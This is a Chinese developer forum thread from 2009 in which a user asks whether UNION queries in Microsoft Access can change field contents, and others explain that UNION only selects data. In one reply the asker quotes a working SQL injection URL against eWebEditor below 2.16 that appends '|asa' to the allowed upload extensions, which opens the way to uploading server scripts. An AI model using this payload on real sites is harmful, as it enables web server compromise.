在access中使用union

r0b3r7 2009-03-21 11:40:57
在access中使用union查询是否可以更新字段内容呢
比如我有个字段username
我要更新他
我知道在username加字符的话是可以的用union的方法
...全文
879 20 打赏 收藏 转发到动态 举报
写回复
用AI写文章
20 条回复
切换为时间正序
请发表友善的回复…
发表回复
r0b3r7 2009-04-06
  • 打赏
  • 举报
回复
http://x14ox.blog.51cto.com/651639/127956
请看这个
我就是不明白为什么他这里能够union进字符?
r0b3r7 2009-04-04
  • 打赏
  • 举报
回复
......
dellxng2000 2009-04-04
  • 打赏
  • 举报
回复
学习
WWWWA 2009-04-04
  • 打赏
  • 举报
回复
一直没有明白你要达到什么目的
wwwwb 2009-04-04
  • 打赏
  • 举报
回复
[Quote=引用 15 楼 r0b3r7 的回复:]
简单的讲我要在字段中插入数据或者直接更新字段里的数据
当然不是使用update
而是union

[/Quote]
举例说明
r0b3r7 2009-04-03
  • 打赏
  • 举报
回复
简单的讲我要在字段中插入数据或者直接更新字段里的数据
当然不是使用update
而是union
WWWWA 2009-04-03
  • 打赏
  • 举报
回复
简单地讲,你要达到什么目的?
r0b3r7 2009-04-03
  • 打赏
  • 举报
回复
...........
ACMAIN_CHM 2009-03-27
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 r0b3r7 的回复:]
但是有些asp是可以的
比如有这样一个文件
union select xxx%2b|'dd' from ss ''and '1'='1'
那么在xxx这个字段里就加进去了dd这个字符
[/Quote]

这个是可以的,

select fld & 'dd' from table1 
union all
select fld & 'cc' from table2


QQ群 48866293 / 12035577 / 7440532 / 13666209
ACCESS专业论坛
http://www.accessbbs.cn/bbs/index.php .
http://www.office-cn.net/vvb/ .
http://www.accessoft.com/bbs/index.asp .
http://www.access-programmers.co.uk/forums .
.
http://www.office-cn.net/home/space.php?uid=141646 .

r0b3r7 2009-03-27
  • 打赏
  • 举报
回复
但是有些asp是可以的
比如有这样一个文件
union select xxx%2b|'dd' from ss ''and '1'='1'
那么在xxx这个字段里就加进去了dd这个字符
r0b3r7 2009-03-27
  • 打赏
  • 举报
回复
我问的就是向相关
字段中加入一些内容
这个问题
WWWWA 2009-03-27
  • 打赏
  • 举报
回复
向表里插入了新的数据 :
从你给出的SQL语句来讲,
select a.1 from xx union select a.2+'s' from xx where a.b='a.3' and '1'='1''

没有向表插入数据,只是查询出来结果,在相关
字段中加入一些内容,并未存入表中。
r0b3r7 2009-03-27
  • 打赏
  • 举报
回复
我可能表述没很清楚
在我的理解上
向表里插入了新的数据
那么就是更新了
不过我想问下,union为什么这样能向表里插入数据?
可以可以更改表里的数据
也就是把表里的1->2而不是1->1+2呢?
WWWWA 2009-03-27
  • 打赏
  • 举报
回复
这是查询,不是更新
r0b3r7 2009-03-27
  • 打赏
  • 举报
回复
至于具体的我也不是很懂
但是最近出现的那个ewebeditor 2.16以下的版本union可以加字符的

原句如下
upload.asp?action=save&type=IMAGE&style=bob' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|asa',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard1'and'a'='a" 


r0b3r7 2009-03-27
  • 打赏
  • 举报
回复
现在不是有很多列子吗?
select a.1 from xx union select a.2+'s' from xx where a.b='a.3' and '1'='1''

那么这样的在A表中的2字段中加入了s这个字符啊
难道不是吗?
WWWWA 2009-03-27
  • 打赏
  • 举报
回复
对啊
update当然有update的用处
但是我先可能是不是union也能实现一些更新的操作呢

举例说明
r0b3r7 2009-03-27
  • 打赏
  • 举报
回复
对啊
update当然有update的用处
但是我先可能是不是union也能实现一些更新的操作呢
3楼的没看清楚意思
你的意思是否是union all可以实现插入数据?
WWWWA 2009-03-27
  • 打赏
  • 举报
回复
在access中使用union查询是否可以更新字段内容呢 :
没有理解到是什么意思,如果UNION可以更新字段内容的话,UPDATE
有什么用?
你是要在字段中加入特定内容?
ACMAIN_CHM 2009-03-22
  • 打赏
  • 举报
回复
何时可以从查询更新数据 (MDB)

在某些情况下,可以在查询“数据表”视图中编辑数据以更改基础表中的数据。而在另一些情况下则不行。下面的信息表明了各种查询的结果是否能更新;如果不能,是否有其他的方法可以替代。

数据不能更新
查询或查询字段 解决方案
交叉表查询 无
SQL 传递查询 无
联合查询 无


ACCESS的帮助中微软一句放就否则了UNION查询的更新可能。


QQ群 48866293 / 12035577 / 7440532 / 13666209
ACCESS专业论坛
http://www.accessbbs.cn/bbs/index.php .
http://www.office-cn.net/vvb/ .
http://www.accessoft.com/bbs/index.asp .
http://www.access-programmers.co.uk/forums .
.
http://www.office-cn.net/home/space.php?uid=141646 .

7,714

社区成员

发帖
与我相关
我的任务
社区描述
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点。
社区管理员
  • Access
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧